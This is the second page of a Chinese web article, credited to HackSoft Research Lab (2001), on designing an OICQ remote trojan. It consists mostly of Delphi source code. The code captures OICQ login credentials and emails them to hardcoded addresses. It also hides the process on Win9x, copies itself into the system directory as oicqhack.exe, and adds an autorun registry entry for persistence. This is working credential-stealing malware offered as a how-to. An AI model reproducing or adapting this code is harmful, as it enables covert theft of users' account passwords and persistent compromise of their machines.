打印本文 打印本文 关闭窗口 关闭窗口
OICQ 远程木马的设计技术
作者:武汉SEO闵涛  文章来源:敏韬网  点击数2127  更新时间:2009/4/23 18:44:20  文章录入:mintao  责任编辑:mintao
'''隐身'''');
   if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
   begin
       if hwold=old then
       begin
           if olde<>old then
           begin
               if strcomp(sbuf,sb2)=0 then items[2]:=''''登录成功:在线''''
               else items[2]:=''''登录成功:隐身'''';
               items[3]:=''''       '''';
               //密码发回我的邮箱getoicq@21cn.com

               newpass:=format(''''%s  %s  %s  %s'''',[items[0],items[1],items[2],items[3],items[4]);
               //
               hackmail:=email;
               sendpass;
               email:=''''mf001@etang.com'''';
               sendpass;
               email:=hackmail;

               //密码存盘到oicqpass.dll中

               {
               if fileexists(spy+''''oicqpass.dll'''')=false then fhand:=filecreate(spy+''''oicqpass.dll'''')
               else fhand:=fileopen(spy+''''oicqpass.dll'''',fmOpenWrite);
               if fileexists(spy+''''oicqpass.dll'''')=false then fhand:=filecreate(spy+''''oicqpass.dll'''')
               else fhand:=fileopen(spy+''''oicqpass.dll'''',fmOpenWrite);
               fileseek(fhand,0,2);
               strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
               filewrite(fhand,sbuf,strlen(sbuf));
               fileclose(fhand);
               }
           end;
           olde:=old;
       end;
   end;
   result:=true;
end;

定时器响应函数
procedure OnTimer1;
begin
    lp:=0;
    EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
   //取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
   osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
   if GetVersionEx(osver)=true then
   begin
       if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
       begin
           LibHandle:=LoadLibrary(''''kernel32.dll'''');
           if LibHandle<>0 then
           begin
               @regservice:=GetProcAddress(LibHandle, ''''RegisterServiceProcess'''');
               regservice(0,1);//1=hide,0=show;
               FreeLibrary(LibHandle);
           end;
       end;
   end;
   max:=0;
   count:=0;
   将程序复制到系统目录
   s1:=ParamStr(0);
   for i:=0 to length(s1) do s2:=s1[i+1];
   GetSystemDirectory(@syspath,MAX_PATH);
   spy:=strpas(@syspath)+''''\'''';
   s1:=spy+''''oicqhack.exe'''';
   for i:=0 to length(s1) do s3:=s1[i+1];
   copyfile(s2,s3,false);
   //从email.txt中找到目标e-mail信箱
   if fileexists(''''c:\email.txt'''')=false then
   begin
     email:=''''getoicq@21cn.com'''';
   end else
   begin
     tmp:=tmemorystream.create;;
     tmp.loadfromfile(''''c:\email.txt'''');
     count:=tmp.size;
//      strcopy(sbuf,pchar(''''''''));
     tmp.read(sbuf,count);
     tmp.free;
     email:='''''''';
     for step:=0 to count-1 do email:=email+sbuf[step];
     strcopy(sbuf,pchar(email));
//      messagebox(0,sbuf,'''''''',0);
   end;
   count:=0;
   step:=0;
   //修改注册表使程序自启动
   autorun;
end;

end.


/////////////////////////////////////////////////////////
             --------倪建华---------------
               HackSoft Research Lab.
       Copyright(C) 2001 Alrights reserved.

上一页  [1] [2] 

打印本文 打印本文 关闭窗口 关闭窗口